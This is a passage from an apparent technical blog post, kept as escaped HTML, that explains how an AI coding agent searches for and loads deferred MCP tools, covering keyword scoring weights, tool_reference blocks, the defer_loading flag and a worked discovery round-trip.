            &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isMcp&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Full&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="nx"&gt;fallback&lt;/span&gt;
        &lt;span class="nx"&gt;elif&lt;/span&gt; &lt;span class="nx"&gt;term&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;fullName&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;searchHint&lt;/span&gt; &lt;span class="nf"&gt;match &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;curated&lt;/span&gt; &lt;span class="nx"&gt;capability&lt;/span&gt; &lt;span class="nx"&gt;phrase&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;wordBoundaryMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;term&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchHint&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Description&lt;/span&gt; &lt;span class="nf"&gt;match &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lowest&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;most&lt;/span&gt; &lt;span class="nx"&gt;noise&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;wordBoundaryMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;term&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MCP tools get slightly higher weight on exact matches (12 vs 10) and substring matches (6 vs 5). This is deliberate: when tool search is active, most deferred tools are MCP tools. Boosting their scores ensures they rank above built-in tools that happen to share terminology.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;searchHint&lt;/code&gt; field is a curated string that tools can provide to improve discoverability. It's weighted above description matches (4 vs 2) because it's intentional signal — a tool author explicitly saying "this tool handles X" — rather than incidental keyword overlap in a long description.&lt;/p&gt;

&lt;p&gt;Description matching uses word-boundary regex (&lt;code&gt;\bterm\b&lt;/code&gt;) to avoid false positives. Without boundaries, a search for "read" would match every tool whose description contains "already", "thread", or "spreadsheet".&lt;/p&gt;

&lt;p&gt;There's also a required-term mechanism. Prefixing a term with &lt;code&gt;+&lt;/code&gt; makes it mandatory: only tools matching ALL required terms in their name, description, or search hint are scored. This lets the model narrow results when a server has many tools: &lt;code&gt;+slack send&lt;/code&gt; finds tools with "slack" in the name AND ranks them by "send" relevance.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Concrete Scoring Example
&lt;/h3&gt;

&lt;p&gt;Suppose the deferred pool contains these tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mcp__slack__send_message        (MCP)
mcp__slack__list_channels       (MCP)
mcp__github__create_issue       (MCP)
mcp__email__send_email          (MCP)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The model searches: &lt;code&gt;ToolSearch({ query: "slack send" })&lt;/code&gt;. Here's the scoring:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mcp__slack__send_message:
  parts = ["slack", "send", "message"]
  "slack": exact part match, MCP → +12
  "send":  exact part match, MCP → +12
  Total: 24

mcp__slack__list_channels:
  parts = ["slack", "list", "channels"]
  "slack": exact part match, MCP → +12
  "send":  no match in parts, no match in name → +0
  Total: 12

mcp__email__send_email:
  parts = ["email", "send", "email"]
  "slack": no match → +0
  "send":  exact part match, MCP → +12
  Total: 12

mcp__github__create_issue:
  parts = ["github", "create", "issue"]
  "slack": no match → +0
  "send":  no match → +0
  Total: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result: &lt;code&gt;["mcp__slack__send_message", "mcp__slack__list_channels", "mcp__email__send_email"]&lt;/code&gt;. The Slack send tool wins, the other Slack tool ties with the email send tool, and the GitHub tool is excluded. Note how multi-term queries naturally boost tools that match on multiple dimensions — a tool matching both "slack" AND "send" scores 24, while one matching only "slack" scores 12.&lt;/p&gt;

&lt;p&gt;The regex patterns are pre-compiled once per search to avoid creating them inside the hot loop (N tools × M terms × 2 checks). Each unique term gets one compiled regex, and all tools share them.&lt;/p&gt;

&lt;h3&gt;
  
  
  The MCP Prefix Fast Path
&lt;/h3&gt;

&lt;p&gt;When the query starts with &lt;code&gt;mcp__&lt;/code&gt;, the system checks for prefix matches before falling through to keyword search:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="nx"&gt;starts&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mcp__&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;matches&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;where&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="nx"&gt;starts&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;matches&lt;/span&gt; &lt;span class="nx"&gt;found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;first&lt;/span&gt; &lt;span class="nx"&gt;maxResults&lt;/span&gt; &lt;span class="nx"&gt;matches&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This handles the common pattern where the model knows the server name but not the specific action. Searching &lt;code&gt;mcp__github&lt;/code&gt; returns all GitHub MCP tools without keyword scoring.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Search Returns
&lt;/h3&gt;

&lt;p&gt;The search doesn't return tool definitions. It returns &lt;code&gt;tool_reference&lt;/code&gt; content blocks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Tool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;sent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;API:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_result"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;tool_use_id:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;content:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_reference"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;tool_name:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mcp__github__create_issue"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_reference"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;tool_name:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mcp__github__list_issues"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a beta API feature. The API server receives the &lt;code&gt;tool_reference&lt;/code&gt; block and expands it into the full tool definition in the model's context. The client never sends the definition itself — the API resolves the reference from the deferred schemas that were sent with &lt;code&gt;defer_loading: true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is the key insight of the architecture. The client marks deferred tools with &lt;code&gt;defer_loading: true&lt;/code&gt; in their schema, telling the API "here's the definition, but don't show it to the model unless referenced." The &lt;code&gt;tool_reference&lt;/code&gt; block is the trigger that expands a deferred definition. The model sees the full schema in its context only after a successful search.&lt;/p&gt;

&lt;p&gt;Why not just return the full tool definition in the search result? Two reasons. First, the API handles the injection into the model's tool context — the client doesn't need to construct a new API request with the tool added. Second, &lt;code&gt;tool_reference&lt;/code&gt; is a structured content block that the API validates against the known deferred schemas. The client can't fabricate a tool definition in a tool_result and have it treated as a callable tool. The API is the authority on which tools exist.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Two-Layer Gate
&lt;/h3&gt;

&lt;p&gt;For tool search to actually engage, two checks must pass:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Optimistic check&lt;/strong&gt; (fast, stateless): Can tool search possibly be enabled? This runs early — during tool pool assembly — to decide whether ToolSearch itself should be included in the tool list. It checks mode and proxy gateway, but NOT model or threshold. This is called "optimistic" because it says "yes" even if the definitive check might say "no" later.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Definitive check&lt;/strong&gt; (async, contextual): Should tool search be used for this specific API request? This runs at request time with the full context: model name, tool list, token counts. It checks model support, ToolSearch availability, and (for &lt;code&gt;tst-auto&lt;/code&gt;) the threshold.&lt;/p&gt;

&lt;p&gt;The two-layer design avoids a chicken-and-egg problem. You can't check the definitive gate until you've assembled the tool pool. But the tool pool includes ToolSearch. If ToolSearch isn't in the pool, the definitive check will say "ToolSearch unavailable, disable." So the optimistic check decides whether to include ToolSearch, and the definitive check decides whether to use it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Discovery Loop
&lt;/h2&gt;

&lt;p&gt;Tool search creates a multi-turn protocol. On turn 1, the model sees only non-deferred tools plus ToolSearch. It calls ToolSearch. On turn 2, the discovered tools are available. But how does the system know which tools to include on turn 2?&lt;/p&gt;

&lt;h3&gt;
  
  
  Scanning Message History
&lt;/h3&gt;

&lt;p&gt;Before each API request, the system scans the conversation history for &lt;code&gt;tool_reference&lt;/code&gt; blocks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;extractDiscoveredToolNames&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nx"&gt;discovered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;empty&lt;/span&gt; &lt;span class="kd"&gt;set&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Compact&lt;/span&gt; &lt;span class="nx"&gt;boundaries&lt;/span&gt; &lt;span class="nx"&gt;carry&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nf"&gt;snapshot &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;explained&lt;/span&gt; &lt;span class="nx"&gt;later&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;compact_boundary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preCompactDiscoveredTools&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nx"&gt;discovered&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;tool_reference&lt;/span&gt; &lt;span class="nx"&gt;blocks&lt;/span&gt; &lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="nx"&gt;appear&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool_result&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;API&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;block&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;block&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;tool_result&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tool_reference&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                        &lt;span class="nx"&gt;discovered&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;discovered&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extracted set determines which deferred tools to include in the next request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;filterToolsForRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;deferredToolNames&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;discoveredToolNames&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Always&lt;/span&gt; &lt;span class="nx"&gt;include&lt;/span&gt; &lt;span class="nx"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt;
        &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;deferredToolNames&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Always&lt;/span&gt; &lt;span class="nx"&gt;include&lt;/span&gt; &lt;span class="nx"&gt;ToolSearch&lt;/span&gt; &lt;span class="nx"&gt;itself&lt;/span&gt;
        &lt;span class="nx"&gt;OR&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ToolSearch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Include&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;that&lt;/span&gt; &lt;span class="nx"&gt;have&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;discovered&lt;/span&gt;
        &lt;span class="nx"&gt;OR&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;discoveredToolNames&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates an accumulating set. Once a tool is discovered via search, it stays available for the rest of the conversation. The model never needs to re-search for a tool it's already found.&lt;/p&gt;

&lt;p&gt;There's an important detail in what gets sent to &lt;code&gt;toolToAPISchema&lt;/code&gt;. The filtering controls which tools appear in the API's tool array. But the ToolSearch prompt — which lists available deferred tools for the model to see — is generated from the &lt;em&gt;full&lt;/em&gt; tool list, not the filtered one. This separation ensures the model can always search the complete pool, even though only discovered tools have their schemas sent.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Complete Round-Trip
&lt;/h3&gt;

&lt;p&gt;Let's trace a single discovery end-to-end:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turn 1&lt;/strong&gt;: User says "Create a GitHub issue for this bug."&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;System computes deferred set: 147 MCP tools.&lt;/li&gt;
&lt;li&gt;System scans history: no &lt;code&gt;tool_reference&lt;/code&gt; blocks yet.&lt;/li&gt;
&lt;li&gt;Filtered tools: 25 built-in + ToolSearch. 147 deferred sent with &lt;code&gt;defer_loading: true&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Model sees 26 tools. It knows it needs GitHub. It calls ToolSearch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Turn 1 response&lt;/strong&gt;: Model generates &lt;code&gt;tool_use&lt;/code&gt; for ToolSearch with query &lt;code&gt;"select:mcp__github__create_issue"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turn 1 result&lt;/strong&gt;: System looks up the name, finds it in deferred pool. Returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_result"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;content:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_reference"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;tool_name:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mcp__github__create_issue"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Turn 2&lt;/strong&gt;: System prepares next API request.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scans history: finds &lt;code&gt;tool_reference&lt;/code&gt; for &lt;code&gt;mcp__github__create_issue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Filtered tools: 25 built-in + ToolSearch + &lt;code&gt;mcp__github__create_issue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Model sees 27 tools. &lt;code&gt;mcp__github__create_issue&lt;/code&gt; has full schema. Model calls it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The discovery cost was one turn and ~200 tokens. The savings persist for the rest of the conversation — &lt;code&gt;mcp__github__create_issue&lt;/code&gt; stays in the filtered set.&lt;/p&gt;

&lt;h3&gt;
  
  
  The defer_loading Flag
&lt;/h3&gt;

&lt;p&gt;Each tool that passes through the filter gets serialized into an API schema. Deferred tools — those in &lt;code&gt;deferredToolNames&lt;/code&gt; — get an extra field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;schema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;input_schema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;jsonSchema&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;defer_loading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;--&lt;/span&gt; &lt;span class="nx"&gt;tells&lt;/span&gt; &lt;span class="na"&gt;API&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;definition&lt;/span&gt; &lt;span class="nx"&gt;present&lt;/span&gt; &lt;span class="nx"&gt;but&lt;/span&gt; &lt;span class="nx"&gt;hidden&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;defer_loading&lt;/code&gt; flag is the contract between client and API. It says: "I'm sending you this tool's definition so you can expand &lt;code&gt;tool_reference&lt;/code&gt; blocks that name it, but don't include it in the model's visible tool list unless a reference triggers it."&lt;/p&gt;

&lt;p&gt;Without this flag, sending a tool definition means the model sees it. With it, the definition is staged but invisible until referenced. This is what makes the system work — the API has all the information it needs to expand references without the client re-sending definitions on demand.&lt;/p&gt;

&lt;h3&gt;
  
  
  Announcing Available Tools
&lt;/h3&gt;

&lt;p&gt;The model needs to know what tools it can search for. There are two mechanisms for this, gated by a feature flag:&lt;/p&gt;

